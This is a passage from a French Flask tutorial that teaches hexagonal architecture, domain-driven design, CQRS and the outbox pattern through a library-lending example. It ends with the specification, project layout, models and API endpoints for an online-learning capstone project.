      def executer(self, input_: EmprunterLivreInput) -> EmprunterLivreOutput:
          """Exécute le use case avec toutes les validations."""

          # 1. Le livre existe ?
          livre = self.livre_repo.trouver_par_id(input_.livre_id)
          if not livre:
              raise ValueError(f"Livre {input_.livre_id} introuvable")

          # 2. Le livre est disponible ?
          if not livre.disponible:
              raise ValueError(f"Le livre « {livre.titre} » n'est pas disponible")

          # 3. Vérifier le nombre d'emprunts actifs
          emprunts_actifs = self.emprunt_repo.trouver_actifs_par_user(input_.user_id)
          if len(emprunts_actifs) >= self.MAX_EMPRUNTS:
              raise ValueError(
                  f"Vous avez atteint le maximum de {self.MAX_EMPRUNTS} emprunts simultanés"
              )

          # 4. L'utilisateur a-t-il déjà ce livre ?
          for e in emprunts_actifs:
              if e.livre_id == input_.livre_id:
                  raise ValueError("Vous avez déjà emprunté ce livre")

          # 5. Créer l'emprunt (domaine pur)
          maintenant = datetime.now(timezone.utc)
          emprunt = Emprunt(
              user_id=input_.user_id,
              livre_id=input_.livre_id,
              date_debut=maintenant,
              date_retour_prevue=maintenant + timedelta(days=input_.duree_jours)
          )

          # 6. Persister via le port (pas d'implémentation spécifique !)
          emprunt = self.emprunt_repo.creer(emprunt)

          # 7. Marquer le livre indisponible
          livre.disponible = False
          self.livre_repo.sauvegarder(livre)

          # 8. Notification (optionnelle, via port)
          if self.notif_service:
              self.notif_service.notifier(
                  input_.user_id, 'emprunt_cree',
                  {'livre_titre': livre.titre, 'retour': emprunt.date_retour_prevue.isoformat()}
              )

          return EmprunterLivreOutput(
              emprunt=emprunt,
              message=f"Vous avez emprunté « {livre.titre} » jusqu'au "
                      f"{emprunt.date_retour_prevue.strftime('%d/%m/%Y')}"
          )


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  ADAPTERS — LES IMPLÉMENTATIONS CONCRÈTES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # infrastructure/adapters/sqlalchemy_livre_repository.py
  """
  Adapter : implémentation SQLAlchemy du port ILivreRepository.
  Traduit les entités domaine <-> modèles SQLAlchemy.
  """
  from typing import Optional, List
  from domain.entities import Livre as LivreEntite
  from domain.ports.repositories import ILivreRepository
  from app.models import Livre as LivreModel
  from app.extensions import db

  class SQLAlchemyLivreRepository(ILivreRepository):
      """Implémentation SQLAlchemy du repository Livre."""

      def _vers_entite(self, model: LivreModel) -> LivreEntite:
          """Convertit un modèle SQLAlchemy en entité domaine."""
          return LivreEntite(
              id=model.id,
              titre=model.titre,
              auteur=model.auteur,
              isbn=model.isbn,
              pages=model.pages,
              genre=model.genre,
              disponible=model.disponible,
              prix=float(model.prix) if model.prix else 0.0
          )

      def _vers_modele(self, entite: LivreEntite) -> LivreModel:
          """Convertit une entité domaine en modèle SQLAlchemy."""
          if entite.id:
              modele = LivreModel.query.get(entite.id)
          else:
              modele = LivreModel()
          modele.titre     = entite.titre
          modele.auteur    = entite.auteur
          modele.isbn      = entite.isbn
          modele.pages     = entite.pages
          modele.genre     = entite.genre
          modele.disponible = entite.disponible
          modele.prix      = entite.prix
          return modele

      def trouver_par_id(self, livre_id: int) -> Optional[LivreEntite]:
          modele = LivreModel.query.get(livre_id)
          return self._vers_entite(modele) if modele else None

      def trouver_par_isbn(self, isbn: str) -> Optional[LivreEntite]:
          modele = LivreModel.query.filter_by(isbn=isbn).first()
          return self._vers_entite(modele) if modele else None

      def sauvegarder(self, livre: LivreEntite) -> LivreEntite:
          modele = self._vers_modele(livre)
          db.session.add(modele)
          db.session.flush()
          livre.id = modele.id
          return livre

      def supprimer(self, livre_id: int) -> bool:
          modele = LivreModel.query.get(livre_id)
          if not modele:
              return False
          db.session.delete(modele)
          return True

      def lister(self, filtres: dict, page: int, per_page: int) -> tuple:
          query = LivreModel.query
          if filtres.get('genre'):
              query = query.filter_by(genre=filtres['genre'])
          if filtres.get('disponible') is not None:
              query = query.filter_by(disponible=filtres['disponible'])
          pagination = query.paginate(page=page, per_page=per_page, error_out=False)
          livres = [self._vers_entite(m) for m in pagination.items]
          return livres, pagination.total

  # infrastructure/adapters/flask_mail_email_service.py
  class FlaskMailEmailService(IEmailService):
      """Implémentation Flask-Mail du port IEmailService."""
      def envoyer(self, destinataire, sujet, template, **contexte):
          from app.utils.email import envoyer_email
          envoyer_email(destinataire, sujet, template, **contexte)

  # infrastructure/adapters/in_memory_email_service.py (pour les tests !)
  class InMemoryEmailService(IEmailService):
      """Implémentation en mémoire pour les tests."""
      def __init__(self):
          self.emails_envoyes = []

      def envoyer(self, destinataire, sujet, template, **contexte):
          self.emails_envoyes.append({
              'destinataire': destinataire,
              'sujet': sujet,
              'template': template,
              'contexte': contexte
          })

  # infrastructure/adapters/null_notification_service.py
  class NullNotificationService(INotificationService):
      """Adapter null : ignore toutes les notifications (utile en test/dev)."""
      def notifier(self, user_id, type_notif, donnees):
          pass  # Ne rien faire


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  6⃣  ASSEMBLY — BRANCHER LES ADAPTERS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # infrastructure/container.py
  """
  Container d'injection de dépendances.
  Configure et assemble les adapters avec les use cases.
  """
  from infrastructure.adapters.sqlalchemy_livre_repository import SQLAlchemyLivreRepository
  from infrastructure.adapters.flask_mail_email_service import FlaskMailEmailService
  from domain.use_cases.emprunter_livre import EmprunterLivreUseCase

  class Container:
      """
      Assemblage de toutes les dépendances.
      Changepoint unique pour permuter les implémentations.
      """
      def __init__(self, env: str = 'production'):
          # Choisir les adapters selon l'environnement
          if env == 'testing':
              from infrastructure.adapters.in_memory_email_service import InMemoryEmailService
              self.email_service = InMemoryEmailService()
          else:
              self.email_service = FlaskMailEmailService()

          self.livre_repo   = SQLAlchemyLivreRepository()
          self.emprunt_repo = SQLAlchemyEmpruntRepository()

          # Assembler les use cases avec leurs dépendances
          self.emprunter_livre_uc = EmprunterLivreUseCase(
              livre_repo=self.livre_repo,
              emprunt_repo=self.emprunt_repo
          )

  # Instance globale
  import os
  container = Container(env=os.getenv('FLASK_ENV', 'production'))

  # Dans la route Flask :
  @api_emprunts_bp.route('/', methods=['POST'])
  @login_requis
  def creer_emprunt():
      from infrastructure.container import container
      from domain.use_cases.emprunter_livre import EmprunterLivreInput

      user = obtenir_utilisateur_courant()
      data = request.get_json(silent=True) or {}

      try:
          input_ = EmprunterLivreInput(
              user_id=user.id,
              livre_id=data.get('livre_id')
          )
          output = container.emprunter_livre_uc.executer(input_)
          return jsonify({'success': True, 'message': output.message}), 201

      except ValueError as e:
          return jsonify({'error': str(e)}), 400


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  7⃣  TESTS SANS FLASK NI BDD
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # tests/unit/domain/test_emprunter_livre.py
  """
  Tests du use case EmprunterLivre.
  Pas de Flask, pas de BDD, pas de Redis.
  Tests ultra-rapides et isolés.
  """
  import pytest
  from datetime import datetime, timezone
  from domain.entities import Livre, Emprunt
  from domain.use_cases.emprunter_livre import EmprunterLivreUseCase, EmprunterLivreInput
  from infrastructure.adapters.in_memory_email_service import InMemoryEmailService

  # Repositories en mémoire pour les tests
  class InMemoryLivreRepository:
      def __init__(self, livres=None):
          self._livres = {l.id: l for l in (livres or [])}
          self._next_id = max((l.id for l in (livres or [])), default=0) + 1

      def trouver_par_id(self, livre_id):
          return self._livres.get(livre_id)

      def sauvegarder(self, livre):
          if not livre.id:
              livre.id = self._next_id
              self._next_id += 1
          self._livres[livre.id] = livre
          return livre

      def trouver_par_isbn(self, isbn):
          return next((l for l in self._livres.values() if l.isbn == isbn), None)

      def supprimer(self, livre_id):
          return self._livres.pop(livre_id, None) is not None

      def lister(self, filtres, page, per_page):
          livres = list(self._livres.values())
          return livres, len(livres)

  class InMemoryEmpruntRepository:
      def __init__(self):
          self._emprunts = {}
          self._next_id = 1

      def creer(self, emprunt):
          emprunt.id = self._next_id
          self._next_id += 1
          self._emprunts[emprunt.id] = emprunt
          return emprunt

      def trouver_actifs_par_user(self, user_id):
          return [e for e in self._emprunts.values()
                  if e.user_id == user_id and e.statut == 'en_cours']

  # Tests
  class TestEmprunterLivreUseCase:

      @pytest.fixture
      def livre_disponible(self):
          return Livre(id=1, titre='Dune', auteur='Herbert', disponible=True)

      @pytest.fixture
      def livre_indisponible(self):
          return Livre(id=2, titre='Foundation', auteur='Asimov', disponible=False)

      @pytest.fixture
      def use_case(self, livre_disponible, livre_indisponible):
          livre_repo   = InMemoryLivreRepository([livre_disponible, livre_indisponible])
          emprunt_repo = InMemoryEmpruntRepository()
          return EmprunterLivreUseCase(livre_repo, emprunt_repo)

      def test_emprunter_livre_disponible_succes(self, use_case):
          """Cas nominal : emprunter un livre disponible."""
          input_ = EmprunterLivreInput(user_id=1, livre_id=1)
          output = use_case.executer(input_)

          assert output.emprunt.id is not None
          assert output.emprunt.statut == 'en_cours'
          assert 'Dune' in output.message

      def test_livre_inexistant_leve_erreur(self, use_case):
          input_ = EmprunterLivreInput(user_id=1, livre_id=999)
          with pytest.raises(ValueError, match='introuvable'):
              use_case.executer(input_)

      def test_livre_indisponible_leve_erreur(self, use_case):
          input_ = EmprunterLivreInput(user_id=1, livre_id=2)
          with pytest.raises(ValueError, match="n'est pas disponible"):
              use_case.executer(input_)

      def test_livre_devient_indisponible_apres_emprunt(self, use_case):
          input_ = EmprunterLivreInput(user_id=1, livre_id=1)
          use_case.executer(input_)
          livre = use_case.livre_repo.trouver_par_id(1)
          assert livre.disponible is False

      def test_max_emprunts_simultanes(self, use_case):
          """Un utilisateur ne peut pas dépasser 3 emprunts."""
          # Créer 3 emprunts
          for livre_id in range(10, 13):  # IDs fictifs dans le repo
              livre = Livre(id=livre_id, titre=f'Livre {livre_id}', auteur='Test', disponible=True)
              use_case.livre_repo.sauvegarder(livre)
              use_case.executer(EmprunterLivreInput(user_id=1, livre_id=livre_id))

          # Le 4ème doit échouer
          livre_extra = Livre(id=99, titre='Extra', auteur='Test', disponible=True)
          use_case.livre_repo.sauvegarder(livre_extra)
          with pytest.raises(ValueError, match='maximum'):
              use_case.executer(EmprunterLivreInput(user_id=1, livre_id=99))

      def test_double_emprunt_meme_livre_interdit(self, use_case):
          """Ne peut pas emprunter le même livre deux fois."""
          input_ = EmprunterLivreInput(user_id=1, livre_id=1)
          use_case.executer(input_)
          # Rendre disponible à nouveau pour le test
          livre = use_case.livre_repo.trouver_par_id(1)
          livre.disponible = True
          use_case.livre_repo.sauvegarder(livre)

          with pytest.raises(ValueError, match='déjà emprunté'):
              use_case.executer(input_)


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  EXERCICES CHAPITRE 60
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU INTERMÉDIAIRE :
  Ex 60.1 : Implémente le use case RetournerLivreUseCase avec ses règles métier.
    Tester sans Flask ni BDD avec InMemoryRepositories.

  Ex 60.2 : Crée un InMemoryCacheService et remplace FlaskCachingService dans les tests.
    Les tests doivent s'exécuter en < 100ms chacun.

NIVEAU AVANCÉ :
  Ex 60.3 : Migrate le service EmprunterLivre existant vers le pattern hexagonal.
    Garde les deux versions, compare les tests en termes de vitesse et isolation.


╔══════════════════════════════════════════════════════════════════════════════════════╗
║         CHAPITRE 61 — DOMAIN-DRIVEN DESIGN (DDD) POUR FLASK                      ║
║     Value Objects, Aggregates, Domain Events et Bounded Contexts                  ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  VALUE OBJECTS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Un Value Object est un objet immuable défini par sa valeur (pas son identité).

  # domain/value_objects.py
  from dataclasses import dataclass
  import re

  @dataclass(frozen=True)  # frozen=True = immuable
  class Email:
      """Value Object : adresse email validée."""
      valeur: str

      def __post_init__(self):
          if not re.match(r'^[^@]+@[^@]+\.[^@]+$', self.valeur):
              raise ValueError(f"Email invalide : {self.valeur}")
          # frozen=True interdit self.valeur = ..., donc on utilise object.__setattr__
          object.__setattr__(self, 'valeur', self.valeur.lower().strip())

      def __str__(self):
          return self.valeur

  @dataclass(frozen=True)
  class ISBN:
      """Value Object : ISBN-13 validé."""
      valeur: str

      def __post_init__(self):
          isbn = self.valeur.replace('-', '').replace(' ', '')
          if not isbn.isdigit() or len(isbn) != 13:
              raise ValueError("ISBN doit avoir 13 chiffres")
          total = sum(int(c) * (1 if i % 2 == 0 else 3) for i, c in enumerate(isbn))
          if total % 10 != 0:
              raise ValueError("ISBN invalide (chiffre de contrôle)")
          object.__setattr__(self, 'valeur', isbn)

  @dataclass(frozen=True)
  class Argent:
      """Value Object : montant monétaire avec devise."""
      montant: float
      devise:  str = 'EUR'

      def __post_init__(self):
          if self.montant < 0:
              raise ValueError("Le montant ne peut pas être négatif")
          object.__setattr__(self, 'montant', round(self.montant, 2))

      def __add__(self, autre: 'Argent') -> 'Argent':
          if self.devise != autre.devise:
              raise ValueError("Impossible d'additionner des devises différentes")
          return Argent(self.montant + autre.montant, self.devise)

      def __str__(self):
          return f"{self.montant:.2f} {self.devise}"

  # Utilisation dans les entités
  @dataclass
  class LivreDDD:
      titre:  str
      auteur: str
      isbn:   Optional[ISBN]   = None  # Value Object validé
      prix:   Optional[Argent] = None  # Value Object

  # Exemple :
  # livre = LivreDDD("Dune", "Herbert", ISBN("9780441013593"), Argent(9.99))
  # livre.isbn.valeur  -> "9780441013593"
  # livre.prix + Argent(5.0)  -> Argent(14.99, 'EUR')


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  DOMAIN EVENTS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Les Domain Events représentent des faits qui se sont produits dans le domaine.

  # domain/events.py
  from dataclasses import dataclass, field
  from datetime import datetime, timezone
  from typing import Any, Dict

  @dataclass
  class DomainEvent:
      """Base pour tous les événements du domaine."""
      timestamp: datetime = field(default_factory=lambda: datetime.now(timezone.utc))
      event_id:  str      = field(default_factory=lambda: __import__('uuid').uuid4().hex)

  @dataclass
  class LivreCreeEvent(DomainEvent):
      livre_id: int  = 0
      titre:    str  = ''
      auteur:   str  = ''

  @dataclass
  class EmpruntCreeEvent(DomainEvent):
      emprunt_id: int = 0
      user_id:    int = 0
      livre_id:   int = 0
      titre:      str = ''

  @dataclass
  class EmpruntRetourneEvent(DomainEvent):
      emprunt_id:    int  = 0
      user_id:       int  = 0
      etait_en_retard: bool = False
      jours_retard:  int  = 0

  # Dispatcher d'événements du domaine
  class DomainEventDispatcher:
      _handlers: Dict[str, list] = {}

      @classmethod
      def enregistrer(cls, event_type: type, handler):
          key = event_type.__name__
          if key not in cls._handlers:
              cls._handlers[key] = []
          cls._handlers[key].append(handler)

      @classmethod
      def publier(cls, event: DomainEvent):
          key = type(event).__name__
          for handler in cls._handlers.get(key, []):
              handler(event)

  # Enregistrement des handlers
  def on_emprunt_cree(event: EmpruntCreeEvent):
      """Handler : envoyer email quand un emprunt est créé."""
      from app.tasks.emails import envoyer_email_async
      envoyer_email_async.delay(
          f'confirmation_emprunt',
          {'user_id': event.user_id, 'titre': event.titre}
      )

  DomainEventDispatcher.enregistrer(EmpruntCreeEvent, on_emprunt_cree)


╔══════════════════════════════════════════════════════════════════════════════════════╗
║         CHAPITRE 62 — PATTERNS AVANCÉS : CQRS, SAGA ET OUTBOX                   ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  CQRS (COMMAND QUERY RESPONSIBILITY SEGREGATION)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CQRS sépare les opérations de lecture (Query) des opérations d'écriture (Command).

POURQUOI CQRS ?
  -> Les lectures sont souvent plus fréquentes que les écritures
  -> Optimiser chaque côté indépendamment
  -> La lecture peut utiliser des vues dénormalisées (plus rapides)
  -> L'écriture utilise le modèle de domaine riche

  # domain/commands.py — Commandes (Write Side)
  from dataclasses import dataclass

  @dataclass
  class CreerLivreCommand:
      titre:   str
      auteur:  str
      isbn:    str  = None
      genre:   str  = 'autre'
      user_id: int  = 0  # Qui crée

  @dataclass
  class EmprunterLivreCommand:
      user_id:  int
      livre_id: int

  @dataclass
  class RetournerLivreCommand:
      emprunt_id: int
      user_id:    int

  # domain/queries.py — Requêtes (Read Side)
  @dataclass
  class ListerLivresQuery:
      genre:      str  = None
      disponible: bool = None
      q:          str  = None
      page:       int  = 1
      per_page:   int  = 10

  @dataclass
  class GetLivreQuery:
      livre_id: int

  # Command Handler (Write Side)
  class CommandBus:
      """Bus qui route les commandes vers les handlers appropriés."""
      _handlers = {}

      @classmethod
      def enregistrer(cls, command_type, handler):
          cls._handlers[command_type] = handler

      @classmethod
      def executer(cls, command):
          handler = cls._handlers.get(type(command))
          if not handler:
              raise ValueError(f"Aucun handler pour {type(command).__name__}")
          return handler(command)

  # Enregistrement
  CommandBus.enregistrer(EmprunterLivreCommand, EmprunterLivreHandler())

  # Route Flask avec CQRS
  @api_emprunts_bp.route('/', methods=['POST'])
  @login_requis
  def creer_emprunt():
      user = obtenir_utilisateur_courant()
      data = request.get_json(silent=True) or {}

      # Envoyer une Command (Write)
      command = EmprunterLivreCommand(user_id=user.id, livre_id=data.get('livre_id'))
      try:
          emprunt = CommandBus.executer(command)
          return jsonify({'success': True}), 201
      except ValueError as e:
          return jsonify({'error': str(e)}), 400

  @api_livres_bp.route('/', methods=['GET'])
  def get_livres():
      # Envoyer une Query (Read) -> peut utiliser une vue optimisée
      query = ListerLivresQuery(
          genre=request.args.get('genre'),
          page=request.args.get('page', 1, type=int)
      )
      resultat = QueryBus.executer(query)
      return jsonify({'data': resultat})


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  OUTBOX PATTERN (GARANTIE DE LIVRAISON)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Le Outbox Pattern garantit que les événements sont publiés même si
le système de messagerie (Celery, Redis) est temporairement indisponible.

  # domain/outbox.py
  from app.extensions import db
  from datetime import datetime, timezone
  import json

  class OutboxMessage(db.Model):
      """
      Table Outbox : stocke les messages en attente de publication.
      Transactionnel : sauvegardé avec la BDD principale.
      Publié séparément par un worker.
      """
      __tablename__ = 'outbox_messages'

      id         = db.Column(db.Integer, primary_key=True)
      type_event = db.Column(db.String(100), nullable=False)
      payload    = db.Column(db.Text, nullable=False)  # JSON
      statut     = db.Column(db.String(20), default='en_attente')
      # statut : en_attente, publie, erreur
      cree_le    = db.Column(db.DateTime(timezone=True),
                             default=lambda: datetime.now(timezone.utc))
      publie_le  = db.Column(db.DateTime(timezone=True), nullable=True)
      tentatives = db.Column(db.Integer, default=0)

  def ajouter_a_outbox(event_type: str, payload: dict):
      """Ajoute un message à l'outbox (dans la même transaction BDD)."""
      msg = OutboxMessage(
          type_event=event_type,
          payload=json.dumps(payload, default=str)
      )
      db.session.add(msg)
      # Pas de commit ici ! Fait avec la transaction principale

  # Worker Celery pour publier les messages Outbox
  @celery_app.task(name='app.tasks.outbox.publier_messages_outbox')
  def publier_messages_outbox():
      """Tâche planifiée : publie les messages outbox en attente."""
      messages = OutboxMessage.query.filter_by(statut='en_attente').limit(50).all()

      for msg in messages:
          try:
              payload = json.loads(msg.payload)
              # Publier via Redis Pub/Sub ou Celery
              from app.events.event_bus import EventBus
              EventBus.publier(msg.type_event, **payload)

              msg.statut = 'publie'
              msg.publie_le = datetime.now(timezone.utc)

          except Exception as e:
              msg.tentatives += 1
              if msg.tentatives >= 3:
                  msg.statut = 'erreur'

      db.session.commit()
      return {'publies': len([m for m in messages if m.statut == 'publie'])}

  # Utilisation dans le use case :
  def emprunter(self, ...) -> Emprunt:
      # ... logique ...
      db.session.commit()

      # Ajouter dans l'outbox (DANS LA MÊME TRANSACTION)
      ajouter_a_outbox('emprunt.cree', {
          'emprunt_id': emprunt.id,
          'user_id':    user_id,
          'livre_id':   livre_id
      })
      db.session.commit()  # Commit outbox + emprunt en même temps
      # -> Si Celery est down, le message reste dans outbox et sera retransmis


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              PARTIE 20 — PROJET FINAL CAPSTONE                                    ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

╔══════════════════════════════════════════════════════════════════════════════════════╗
║         CHAPITRE 63 — PROJET FINAL : EDUPLATFORM                                  ║
║     Plateforme d'apprentissage en ligne — Architecture enterprise complète        ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [LISTE] CAHIER DES CHARGES COMPLET
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

EduPlatform est une plateforme d'apprentissage en ligne qui consolide
TOUTES les compétences acquises dans ce guide.

DOMAINES FONCTIONNELS :

  COURS :
  [OK] Catalogue de cours (vidéos, textes, quiz)
  [OK] Chapitres et leçons ordonnées
  [OK] Progression de l'étudiant par leçon
  [OK] Quiz avec questions à choix multiples + correction automatique
  [OK] Certificat de complétion (PDF généré)

  UTILISATEURS :
  [OK] Étudiants, instructeurs, admins
  [OK] Inscription avec vérification email
  [OK] OAuth2 (Google/GitHub)
  [OK] Profil avec photo, bio, compétences
  [OK] Tableau de bord personnel

  PAIEMENTS :
  [OK] Cours gratuits et payants
  [OK] Stripe pour les paiements
  [OK] Abonnements mensuels (accès illimité)
  [OK] Factures PDF automatiques

  COMMUNAUTÉ :
  [OK] Forum de discussion par cours
  [OK] Questions & Réponses
  [OK] Notifications en temps réel (SocketIO)
  [OK] Système de badges et gamification

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [CONSTRUCTION] ARCHITECTURE TECHNIQUE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

STRUCTURE DU PROJET :

  eduplatform/
  ├── domain/                        <- Domaine métier (Python pur)
  │   ├── entities/
  │   │   ├── cours.py
  │   │   ├── lecon.py
  │   │   ├── inscription.py
  │   │   ├── progression.py
  │   │   └── quiz.py
  │   ├── value_objects/
  │   │   ├── email.py
  │   │   ├── prix.py
  │   │   └── duree.py
  │   ├── ports/
  │   │   ├── repositories.py
  │   │   └── services.py
  │   ├── use_cases/
  │   │   ├── s_inscrire_cours.py
  │   │   ├── terminer_lecon.py
  │   │   ├── soumettre_quiz.py
  │   │   └── generer_certificat.py
  │   └── events.py
  │
  ├── infrastructure/                <- Adapters et config
  │   ├── adapters/
  │   │   ├── sqlalchemy/
  │   │   ├── stripe/
  │   │   └── email/
  │   └── container.py
  │
  ├── app/                           <- Flask application
  │   ├── __init__.py
  │   ├── extensions.py
  │   ├── config.py
  │   ├── models/                    <- SQLAlchemy models
  │   ├── schemas/                   <- Marshmallow schemas
  │   ├── routes/api/v1/
  │   │   ├── cours.py
  │   │   ├── lecons.py
  │   │   ├── quiz.py
  │   │   ├── inscriptions.py
  │   │   ├── progressions.py
  │   │   ├── forums.py
  │   │   └── paiements.py
  │   ├── tasks/
  │   │   ├── emails.py
  │   │   ├── certificats.py
  │   │   └── rapports.py
  │   └── sockets/
  │       └── notifications.py
  │
  ├── tests/
  │   ├── unit/domain/               <- Tests domaine (pas de Flask)
  │   └── integration/               <- Tests API complets
  │
  ├── Dockerfile
  ├── docker-compose.yml
  ├── .github/workflows/
  └── README.md

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [ARCHIVE] MODÈLES CLÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/models/edu.py (résumé)
  from app.extensions import db
  from datetime import datetime, timezone

  class Cours(db.Model):
      __tablename__ = 'cours'
      id              = db.Column(db.Integer, primary_key=True)
      instructeur_id  = db.Column(db.Integer, db.ForeignKey('utilisateurs.id'))
      titre           = db.Column(db.String(300), nullable=False)
      slug            = db.Column(db.String(300), unique=True, index=True)
      description     = db.Column(db.Text)
      image_couverture = db.Column(db.String(500))
      prix            = db.Column(db.Numeric(10, 2), default=0)
      statut          = db.Column(db.String(20), default='brouillon')
      # brouillon | publie | archive
      niveau          = db.Column(db.String(20), default='debutant')
      # debutant | intermediaire | avance
      duree_minutes   = db.Column(db.Integer, default=0)
      created_at      = db.Column(db.DateTime(timezone=True),
                                  default=lambda: datetime.now(timezone.utc))

      chapitres   = db.relationship('Chapitre', backref='cours',
                                     order_by='Chapitre.ordre',
                                     cascade='all, delete-orphan')
      inscriptions = db.relationship('Inscription', backref='cours',
                                      cascade='all, delete-orphan')

  class Chapitre(db.Model):
      __tablename__ = 'chapitres'
      id       = db.Column(db.Integer, primary_key=True)
      cours_id = db.Column(db.Integer, db.ForeignKey('cours.id', ondelete='CASCADE'))
      titre    = db.Column(db.String(200), nullable=False)
      ordre    = db.Column(db.Integer, default=0)
      lecons   = db.relationship('Lecon', backref='chapitre',
                                  order_by='Lecon.ordre',
                                  cascade='all, delete-orphan')

  class Lecon(db.Model):
      __tablename__ = 'lecons'
      id           = db.Column(db.Integer, primary_key=True)
      chapitre_id  = db.Column(db.Integer, db.ForeignKey('chapitres.id', ondelete='CASCADE'))
      titre        = db.Column(db.String(300), nullable=False)
      type_contenu = db.Column(db.String(20), default='texte')  # texte|video|quiz
      contenu_md   = db.Column(db.Text, nullable=True)
      video_url    = db.Column(db.String(500), nullable=True)
      duree_minutes = db.Column(db.Integer, default=0)
      ordre        = db.Column(db.Integer, default=0)
      est_gratuite = db.Column(db.Boolean, default=False)  # Preview gratuit

  class Inscription(db.Model):
      __tablename__ = 'inscriptions'
      id         = db.Column(db.Integer, primary_key=True)
      user_id    = db.Column(db.Integer, db.ForeignKey('utilisateurs.id'), nullable=False)
      cours_id   = db.Column(db.Integer, db.ForeignKey('cours.id'), nullable=False)
      prix_paye  = db.Column(db.Numeric(10, 2), default=0)
      stripe_payment_intent = db.Column(db.String(100), nullable=True)
      created_at = db.Column(db.DateTime(timezone=True),
                             default=lambda: datetime.now(timezone.utc))

      __table_args__ = (db.UniqueConstraint('user_id', 'cours_id'),)

  class ProgressionLecon(db.Model):
      __tablename__ = 'progressions_lecons'
      id          = db.Column(db.Integer, primary_key=True)
      user_id     = db.Column(db.Integer, db.ForeignKey('utilisateurs.id'), nullable=False)
      lecon_id    = db.Column(db.Integer, db.ForeignKey('lecons.id'), nullable=False)
      terminee    = db.Column(db.Boolean, default=False)
      terminee_le = db.Column(db.DateTime(timezone=True), nullable=True)

      __table_args__ = (db.UniqueConstraint('user_id', 'lecon_id'),)

  class Quiz(db.Model):
      __tablename__ = 'quiz'
      id       = db.Column(db.Integer, primary_key=True)
      lecon_id = db.Column(db.Integer, db.ForeignKey('lecons.id'), nullable=False, unique=True)
      questions = db.relationship('Question', backref='quiz',
                                   order_by='Question.ordre',
                                   cascade='all, delete-orphan')

  class Question(db.Model):
      __tablename__ = 'questions'
      id       = db.Column(db.Integer, primary_key=True)
      quiz_id  = db.Column(db.Integer, db.ForeignKey('quiz.id', ondelete='CASCADE'))
      enonce   = db.Column(db.Text, nullable=False)
      ordre    = db.Column(db.Integer, default=0)
      explication = db.Column(db.Text, nullable=True)  # Explication après réponse

      options  = db.relationship('OptionReponse', backref='question',
                                  cascade='all, delete-orphan')

  class OptionReponse(db.Model):
      __tablename__ = 'options_reponses'
      id           = db.Column(db.Integer, primary_key=True)
      question_id  = db.Column(db.Integer, db.ForeignKey('questions.id', ondelete='CASCADE'))
      texte        = db.Column(db.String(500), nullable=False)
      est_correcte = db.Column(db.Boolean, default=False)

  class Certificat(db.Model):
      __tablename__ = 'certificats'
      id         = db.Column(db.Integer, primary_key=True)
      user_id    = db.Column(db.Integer, db.ForeignKey('utilisateurs.id'), nullable=False)
      cours_id   = db.Column(db.Integer, db.ForeignKey('cours.id'), nullable=False)
      code       = db.Column(db.String(20), unique=True, nullable=False)
      chemin_pdf = db.Column(db.String(500), nullable=True)
      delivre_le = db.Column(db.DateTime(timezone=True),
                             default=lambda: datetime.now(timezone.utc))


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [WEB] API PRINCIPALE — ENDPOINTS CLÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  COURS :
  GET    /api/v1/cours                     -> Catalogue public
  GET    /api/v1/cours/<slug>              -> Détail cours
  GET    /api/v1/cours/<slug>/syllabus     -> Liste chapitres et leçons
  POST   /api/v1/cours                     -> Créer cours (instructeur) [SECURISE]
  PATCH  /api/v1/cours/<id>               -> Modifier cours [SECURISE]
  POST   /api/v1/cours/<id>/publier       -> Publier [SECURISE]

  INSCRIPTIONS :
  POST   /api/v1/cours/<id>/inscrire      -> S'inscrire (gratuit ou paiement) [SECURISE]
  GET    /api/v1/mes-cours                -> Mes cours inscrits [SECURISE]
  GET    /api/v1/mes-cours/<id>/progression -> Ma progression [SECURISE]

  LEÇONS :
  GET    /api/v1/lecons/<id>              -> Contenu leçon (si inscrit) [SECURISE]
  POST   /api/v1/lecons/<id>/terminer     -> Marquer terminée [SECURISE]

  QUIZ :
  GET    /api/v1/lecons/<id>/quiz         -> Quiz de la leçon [SECURISE]
  POST   /api/v1/lecons/<id>/quiz/soumettre -> Soumettre réponses [SECURISE]

  CERTIFICATS :
  GET    /api/v1/certificats/<code>        -> Vérifier un certificat (public)
  GET    /api/v1/mes-certificats           -> Mes certificats [SECURISE]

  FORUMS :
  GET    /api/v1/cours/<id>/forum          -> Discussions du cours [SECURISE]
